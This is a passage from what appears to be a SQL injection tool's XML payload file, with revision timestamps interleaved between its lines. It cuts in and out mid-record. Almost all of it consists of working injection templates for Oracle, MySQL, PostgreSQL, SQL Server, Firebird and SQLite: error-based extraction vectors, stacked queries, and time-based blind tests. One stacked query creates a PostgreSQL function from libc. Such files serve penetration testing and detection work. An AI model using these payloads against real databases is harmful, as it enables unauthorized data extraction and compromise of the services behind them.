<dbms > Oracle</dbms>
</details>
</test>
2010-12-02 18:09:21 +03:00
2010-12-06 23:43:23 +03:00
<test >
<title > Oracle AND error-based - WHERE clause (utl_inaddr.get_host_address)</title>
<stype > 2</stype>
<level > 2</level>
<risk > 0</risk>
<clause > 1</clause>
<where > 1</where>
2010-12-07 01:52:18 +03:00
<vector > AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(%s)||'[DELIMITER_STOP]')</vector>
2010-12-06 23:43:23 +03:00
<request >
2010-12-07 01:52:18 +03:00
<payload > AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')</payload>
2010-12-06 23:43:23 +03:00
</request>
<response >
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
</response>
<details >
<dbms > Oracle</dbms>
2010-12-07 00:39:57 +03:00
<dbms_version > > = 8.1.6</dbms_version>
2010-12-06 23:43:23 +03:00
</details>
</test>
2010-12-07 00:20:26 +03:00
<test >
<title > Oracle AND error-based - WHERE clause (ctxsys.drithsx.sn)</title>
<stype > 2</stype>
<level > 3</level>
<risk > 0</risk>
<clause > 1</clause>
<where > 1</where>
2010-12-07 01:52:18 +03:00
<vector > AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM], '[DELIMITER_START]'||(%s)||'[DELIMITER_STOP]')</vector>
2010-12-07 00:20:26 +03:00
<request >
2010-12-07 01:52:18 +03:00
<payload > AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
2010-12-07 00:20:26 +03:00
</request>
<response >
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
</response>
<details >
<dbms > Oracle</dbms>
</details>
</test>
2010-12-02 18:09:21 +03:00
<test >
2010-12-06 23:28:26 +03:00
<title > Firebird AND error-based - WHERE clause</title>
2010-12-02 18:09:21 +03:00
<stype > 2</stype>
2010-12-04 19:40:08 +03:00
<level > 2</level>
2010-12-02 18:09:21 +03:00
<risk > 0</risk>
<clause > 1</clause>
<where > 1</where>
2010-12-04 19:40:08 +03:00
<vector > AND [RANDNUM]=('[DELIMITER_START]'||(%s)||'[DELIMITER_STOP]')</vector>
2010-12-02 18:09:21 +03:00
<request >
<payload > AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
</request>
<response >
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
</response>
<details >
<dbms > Firebird</dbms>
</details>
</test>
2010-12-03 13:52:24 +03:00
<test >
2010-12-06 23:28:26 +03:00
<title > MySQL > = 5.0 OR error-based - WHERE clause</title>
2010-12-03 13:52:24 +03:00
<stype > 2</stype>
<level > 2</level>
<risk > 2</risk>
<clause > 1</clause>
2010-12-05 15:23:18 +03:00
<where > 2</where>
2010-12-03 17:45:13 +03:00
<vector > OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(%s),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
2010-12-03 13:52:24 +03:00
<request >
<payload > OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
</request>
<response >
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
</response>
<details >
<dbms > MySQL</dbms>
<dbms_version > > = 5.0</dbms_version>
</details>
</test>
<test >
2010-12-06 23:28:26 +03:00
<title > PostgreSQL OR error-based - WHERE clause</title>
2010-12-03 13:52:24 +03:00
<stype > 2</stype>
<level > 2</level>
<risk > 2</risk>
<clause > 1</clause>
2010-12-05 15:23:18 +03:00
<where > 2</where>
2010-12-03 17:45:13 +03:00
<vector > OR [RANDNUM]=CAST('[DELIMITER_START]'||(%s)::text||'[DELIMITER_STOP]' AS NUMERIC)</vector>
2010-12-03 13:52:24 +03:00
<request >
<payload > OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload>
</request>
<response >
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
</response>
<details >
<dbms > PostgreSQL</dbms>
</details>
</test>
<test >
2010-12-06 23:28:26 +03:00
<title > Microsoft SQL Server/Sybase OR error-based - WHERE clause</title>
2010-12-03 13:52:24 +03:00
<stype > 2</stype>
<level > 2</level>
<risk > 2</risk>
<clause > 1</clause>
2010-12-05 15:23:18 +03:00
<where > 2</where>
2010-12-03 17:45:13 +03:00
<vector > OR [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(%s)+'[DELIMITER_STOP]'))</vector>
2010-12-03 13:52:24 +03:00
<request >
<payload > OR [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
</request>
<response >
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
</response>
<details >
<dbms > Microsoft SQL Server</dbms>
</details>
</test>
<test >
2010-12-07 15:45:45 +03:00
<title > Oracle OR error-based - WHERE clause (XMLType)</title>
2010-12-03 13:52:24 +03:00
<stype > 2</stype>
<level > 2</level>
<risk > 2</risk>
<clause > 1</clause>
2010-12-05 15:23:18 +03:00
<where > 2</where>
2010-12-07 01:40:07 +03:00
<vector > OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((%s),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
2010-12-03 13:52:24 +03:00
<request >
2010-12-07 01:40:07 +03:00
<payload > OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
2010-12-03 13:52:24 +03:00
</request>
<response >
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
</response>
2010-12-06 23:43:23 +03:00
<details >
<dbms > Oracle</dbms>
</details>
</test>
<test >
<title > Oracle OR error-based - WHERE clause (utl_inaddr.get_host_address)</title>
<stype > 2</stype>
<level > 3</level>
<risk > 2</risk>
<clause > 1</clause>
<where > 2</where>
2010-12-07 01:52:18 +03:00
<vector > OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(%s)||'[DELIMITER_STOP]')</vector>
2010-12-06 23:43:23 +03:00
<request >
2010-12-07 01:52:18 +03:00
<payload > OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')</payload>
2010-12-06 23:43:23 +03:00
</request>
<response >
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
</response>
2010-12-03 13:52:24 +03:00
<details >
<dbms > Oracle</dbms>
2010-12-07 00:39:57 +03:00
<dbms_version > > = 8.1.6</dbms_version>
2010-12-03 13:52:24 +03:00
</details>
</test>
2010-12-07 00:20:26 +03:00
<test >
<title > Oracle OR error-based - WHERE clause (ctxsys.drithsx.sn)</title>
<stype > 2</stype>
2010-12-07 15:45:45 +03:00
<level > 4</level>
<risk > 2</risk>
2010-12-07 00:20:26 +03:00
<clause > 1</clause>
2010-12-07 15:45:45 +03:00
<where > 2</where>
2010-12-07 01:52:18 +03:00
<vector > OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM], '[DELIMITER_START]'||(%s)||'[DELIMITER_STOP]')</vector>
2010-12-07 00:20:26 +03:00
<request >
2010-12-07 01:52:18 +03:00
<payload > OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
2010-12-07 00:20:26 +03:00
</request>
<response >
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
</response>
<details >
<dbms > Oracle</dbms>
</details>
</test>
2010-12-03 13:52:24 +03:00
<test >
2010-12-06 23:28:26 +03:00
<title > Firebird OR error-based - WHERE clause</title>
2010-12-03 13:52:24 +03:00
<stype > 2</stype>
2010-12-04 19:40:08 +03:00
<level > 3</level>
2010-12-03 13:52:24 +03:00
<risk > 2</risk>
<clause > 1</clause>
2010-12-05 15:23:18 +03:00
<where > 2</where>
2010-12-04 19:40:08 +03:00
<vector > OR [RANDNUM]=('[DELIMITER_START]'||(%s)||'[DELIMITER_STOP]')</vector>
2010-12-03 13:52:24 +03:00
<request >
<payload > OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
</request>
<response >
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
</response>
<details >
<dbms > Firebird</dbms>
</details>
</test>
2010-11-28 21:10:54 +03:00
<!--
TODO: if possible, add payload for SQLite, Microsoft Access,
2010-12-02 18:09:21 +03:00
and SAP MaxDB - no known techniques at this time
2010-11-28 21:10:54 +03:00
-->
<!-- End of error - based tests - WHERE clause -->
2010-12-04 19:40:08 +03:00
<!-- Error - based tests - Parameter replace -->
2010-11-28 21:10:54 +03:00
<test >
2010-12-04 19:40:08 +03:00
<title > MySQL > = 5.0 error-based - Parameter replace</title>
2010-11-28 21:10:54 +03:00
<stype > 2</stype>
<level > 3</level>
<risk > 0</risk>
2010-12-05 15:23:18 +03:00
<clause > 1,2,3</clause>
2010-12-04 19:40:08 +03:00
<where > 3</where>
<vector > (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(%s),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-01 13:31:50 +03:00
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > MySQL</dbms>
<dbms_version > > = 5.0</dbms_version>
</details>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > PostgreSQL error-based - Parameter replace</title>
2010-11-28 21:10:54 +03:00
<stype > 2</stype>
<level > 3</level>
<risk > 0</risk>
2010-12-05 15:23:18 +03:00
<clause > 1,2,3</clause>
2010-12-04 19:40:08 +03:00
<where > 3</where>
<vector > (CAST('[DELIMITER_START]'||(%s)::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-01 13:31:50 +03:00
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > PostgreSQL</dbms>
</details>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > Microsoft SQL Server/Sybase error-based - Parameter replace</title>
2010-11-28 21:10:54 +03:00
<stype > 2</stype>
<level > 3</level>
<risk > 0</risk>
2010-12-05 15:23:18 +03:00
<clause > 1,3</clause>
2010-12-04 19:40:08 +03:00
<where > 3</where>
<vector > (CONVERT(INT,('[DELIMITER_START]'+(%s)+'[DELIMITER_STOP]')))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > (CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-01 13:31:50 +03:00
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > Microsoft SQL Server</dbms>
</details>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > Oracle error-based - Parameter replace</title>
2010-11-28 21:10:54 +03:00
<stype > 2</stype>
<level > 3</level>
<risk > 0</risk>
2010-12-05 15:23:18 +03:00
<clause > 1,3</clause>
2010-12-04 19:40:08 +03:00
<where > 3</where>
2010-12-07 01:40:07 +03:00
<vector > (SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((%s),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-07 01:40:07 +03:00
<payload > (SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-01 13:31:50 +03:00
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > Oracle</dbms>
</details>
</test>
<test >
2010-12-05 15:23:18 +03:00
<title > Firebird error-based - Parameter replace</title>
2010-11-28 21:10:54 +03:00
<stype > 2</stype>
<level > 4</level>
<risk > 0</risk>
2010-12-05 15:23:18 +03:00
<clause > 1,3</clause>
2010-11-28 21:10:54 +03:00
<where > 3</where>
2010-12-04 19:40:08 +03:00
<vector > (SELECT [RANDNUM]=('[DELIMITER_START]'||(%s)||'[DELIMITER_STOP]'))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > (SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))</payload>
</request>
<response >
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
</response>
<details >
<dbms > Firebird</dbms>
</details>
</test>
<!-- End of error - based tests - Parameter replace -->
<!-- Error - based tests - GROUP BY and ORDER BY clauses -->
<test >
<title > MySQL > = 5.0 error-based - GROUP BY and ORDER BY clauses</title>
<stype > 2</stype>
<level > 3</level>
<risk > 0</risk>
<clause > 2,3</clause>
<where > 1</where>
<vector > , (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(%s),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
<request >
<payload > , (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-01 13:31:50 +03:00
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > MySQL</dbms>
<dbms_version > > = 5.0</dbms_version>
</details>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > PostgreSQL error-based - GROUP BY and ORDER BY clauses</title>
2010-11-28 21:10:54 +03:00
<stype > 2</stype>
2010-12-04 19:40:08 +03:00
<level > 3</level>
2010-11-28 21:10:54 +03:00
<risk > 0</risk>
<clause > 2,3</clause>
2010-12-04 19:40:08 +03:00
<where > 1</where>
<vector > , (CAST('[DELIMITER_START]'||(%s)::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > , (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-01 13:31:50 +03:00
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > PostgreSQL</dbms>
</details>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > Microsoft SQL Server/Sybase error-based - ORDER BY clause</title>
2010-11-28 21:10:54 +03:00
<stype > 2</stype>
2010-12-04 19:40:08 +03:00
<level > 3</level>
2010-11-28 21:10:54 +03:00
<risk > 0</risk>
<clause > 3</clause>
2010-12-04 19:40:08 +03:00
<where > 1</where>
<vector > , (CONVERT(INT,('[DELIMITER_START]'+(%s)+'[DELIMITER_STOP]')))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-04 19:40:08 +03:00
<payload > , (CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-01 13:31:50 +03:00
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > Microsoft SQL Server</dbms>
</details>
</test>
<test >
2010-12-04 19:40:08 +03:00
<title > Oracle error-based - ORDER BY clause</title>
2010-11-28 21:10:54 +03:00
<stype > 2</stype>
2010-12-04 19:40:08 +03:00
<level > 3</level>
2010-11-28 21:10:54 +03:00
<risk > 0</risk>
<clause > 3</clause>
2010-12-04 19:40:08 +03:00
<where > 1</where>
2010-12-07 01:40:07 +03:00
<vector > , (SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((%s),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-07 01:40:07 +03:00
<payload > , (SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-01 13:31:50 +03:00
<grep > [DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > Oracle</dbms>
</details>
</test>
<!--
2010-12-03 13:52:24 +03:00
TODO: if possible, add payload for SQLite, Microsoft Access
and SAP MaxDB - no known techniques at this time
2010-11-28 21:10:54 +03:00
-->
<!-- End of error - based tests - GROUP BY and ORDER BY clauses -->
<!-- UNION query tests -->
<!-- TODO: Think about proper structure for this -->
<!-- End of UNION query tests -->
2010-12-07 15:45:45 +03:00
2010-11-28 21:10:54 +03:00
<!-- Stacked queries tests -->
<test >
<title > MySQL > 5.0.11 stacked queries</title>
<stype > 4</stype>
<level > 1</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<request >
<payload > ; SELECT SLEEP([SLEEPTIME]);</payload>
2010-12-07 15:45:45 +03:00
<comment > #</comment>
2010-11-28 21:10:54 +03:00
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > MySQL</dbms>
<dbms_version > > 5.0.11</dbms_version>
</details>
</test>
<test >
2010-12-07 15:45:45 +03:00
<title > MySQL < 5.0.12 stacked queries (heavy query)</title>
2010-11-28 21:10:54 +03:00
<stype > 4</stype>
<level > 2</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<request >
2010-12-07 16:24:18 +03:00
<payload > ; SELECT BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'));</payload>
2010-12-07 15:45:45 +03:00
<comment > #</comment>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > MySQL</dbms>
</details>
</test>
<test >
<title > PostgreSQL > 8.1 stacked queries</title>
<stype > 4</stype>
<level > 1</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<request >
<payload > ; SELECT PG_SLEEP([SLEEPTIME]);</payload>
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > PostgreSQL</dbms>
<dbms_version > > 8.1</dbms_version>
</details>
</test>
<test >
2010-12-07 15:45:45 +03:00
<title > PostgreSQL < 8.2 stacked queries (heavy query)</title>
2010-11-28 21:10:54 +03:00
<stype > 4</stype>
<level > 3</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<request >
2010-12-07 16:24:18 +03:00
<payload > ; SELECT [RANDNUM] WHERE EXISTS(SELECT * FROM GENERATE_SERIES(1, [SLEEPTIME]000000));</payload>
2010-11-28 21:10:54 +03:00
<comment > --</comment>
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > PostgreSQL</dbms>
<dbms_version > < 8.2</dbms_version>
</details>
</test>
<test >
2010-12-07 03:58:54 +03:00
<title > PostgreSQL < 8.2 stacked queries (Glibc)</title>
2010-11-28 21:10:54 +03:00
<stype > 4</stype>
<level > 4</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<request >
<payload > ; CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]);</payload>
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > PostgreSQL</dbms>
<dbms_version > < 8.2</dbms_version>
<os > Linux</os>
</details>
</test>
<test >
<title > Microsoft SQL Server/Sybase stacked queries</title>
<stype > 4</stype>
<level > 1</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<request >
<payload > ; WAITFOR DELAY '0:0:[SLEEPTIME]';</payload>
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > Microsoft SQL Server</dbms>
</details>
</test>
<test >
2010-12-07 03:58:54 +03:00
<title > Oracle stacked queries (BEGIN DBMS_LOCK.SLEEP)</title>
2010-11-28 21:10:54 +03:00
<stype > 4</stype>
<level > 3</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<request >
<payload > ; BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END;</payload>
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > Oracle</dbms>
</details>
</test>
<test >
2010-12-07 03:58:54 +03:00
<title > Oracle stacked queries (EXEC DBMS_LOCK.SLEEP)</title>
2010-11-28 21:10:54 +03:00
<stype > 4</stype>
2010-12-04 19:40:08 +03:00
<level > 4</level>
2010-11-28 21:10:54 +03:00
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<request >
<payload > ; EXEC DBMS_LOCK.SLEEP([SLEEPTIME].00);</payload>
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > Oracle</dbms>
</details>
</test>
<test >
2010-12-07 03:58:54 +03:00
<title > Oracle stacked queries (BEGIN USER_LOCK.SLEEP)</title>
2010-11-28 21:10:54 +03:00
<stype > 4</stype>
<level > 5</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<request >
<payload > ; EXEC USER_LOCK.SLEEP([SLEEPTIME].00);</payload>
<comment > --</comment>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > Oracle</dbms>
</details>
</test>
<test >
2010-12-07 15:45:45 +03:00
<title > SQLite > 2.0 stacked queries (heavy query)</title>
2010-11-28 21:10:54 +03:00
<stype > 4</stype>
<level > 3</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<request >
2010-12-07 16:24:18 +03:00
<payload > ; SELECT LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))));</payload>
2010-11-28 21:10:54 +03:00
<comment > --</comment>
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > SQLite</dbms>
<dbms_version > > 2.0</dbms_version>
</details>
</test>
<test >
2010-12-07 15:45:45 +03:00
<title > Firebird stacked queries (heavy query)</title>
2010-11-28 21:10:54 +03:00
<stype > 4</stype>
<level > 3</level>
<risk > 0</risk>
<clause > 0</clause>
<where > 1</where>
<request >
<payload > ; SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6;</payload>
<comment > --</comment>
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > Firebird</dbms>
<dbms_version > > 2.0</dbms_version>
</details>
</test>
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
<!-- End of stacked queries tests -->
<!-- AND time - based blind tests -->
<test >
<title > MySQL > 5.0.11 AND time-based blind</title>
<stype > 5</stype>
<level > 1</level>
<risk > 1</risk>
2010-12-03 15:00:03 +03:00
<clause > 1,2,3</clause>
2010-11-28 21:10:54 +03:00
<where > 1</where>
2010-12-03 19:12:47 +03:00
<vector > AND IF(([INFERENCE]), [RANDNUM], SLEEP([SLEEPTIME]))</vector>
2010-11-28 21:10:54 +03:00
<request >
<payload > AND SLEEP([SLEEPTIME])</payload>
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > MySQL</dbms>
<dbms_version > > 5.0.11</dbms_version>
</details>
</test>
<test >
2010-12-07 15:45:45 +03:00
<title > MySQL < 5.0.12 AND time-based blind (heavy query)</title>
2010-11-28 21:10:54 +03:00
<stype > 5</stype>
<level > 2</level>
<risk > 1</risk>
2010-12-03 15:00:03 +03:00
<clause > 1,2,3</clause>
2010-11-28 21:10:54 +03:00
<where > 1</where>
2010-12-07 16:24:18 +03:00
<vector > AND IF(([INFERENCE]), [RANDNUM], BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-07 16:24:18 +03:00
<payload > AND BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > MySQL</dbms>
</details>
</test>
2010-12-07 02:05:53 +03:00
<test >
2010-12-07 15:45:45 +03:00
<title > PostgreSQL AND time-based blind (heavy query)</title>
2010-12-07 02:05:53 +03:00
<stype > 5</stype>
<level > 1</level>
2010-12-07 03:51:14 +03:00
<risk > 1</risk>
2010-12-07 02:05:53 +03:00
<clause > 1,2,3</clause>
<where > 1</where>
2010-12-07 16:24:18 +03:00
<vector > AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
2010-12-07 02:05:53 +03:00
<request >
2010-12-07 16:24:18 +03:00
<payload > AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000))</payload>
2010-12-07 02:05:53 +03:00
</request>
<response >
2010-12-07 15:45:45 +03:00
<time > [DELAYED]</time>
2010-12-07 02:05:53 +03:00
</response>
<details >
2010-12-07 15:45:45 +03:00
<dbms > PostgreSQL</dbms>
2010-12-07 02:05:53 +03:00
</details>
</test>
2010-12-07 00:20:26 +03:00
<test >
2010-12-07 15:45:45 +03:00
<title > Microsoft SQL Server/Sybase AND time-based blind (heavy query)</title>
2010-12-07 00:20:26 +03:00
<stype > 5</stype>
2010-12-07 03:51:14 +03:00
<level > 2</level>
2010-12-07 00:20:26 +03:00
<risk > 1</risk>
<clause > 1,2,3</clause>
<where > 1</where>
2010-12-07 15:45:45 +03:00
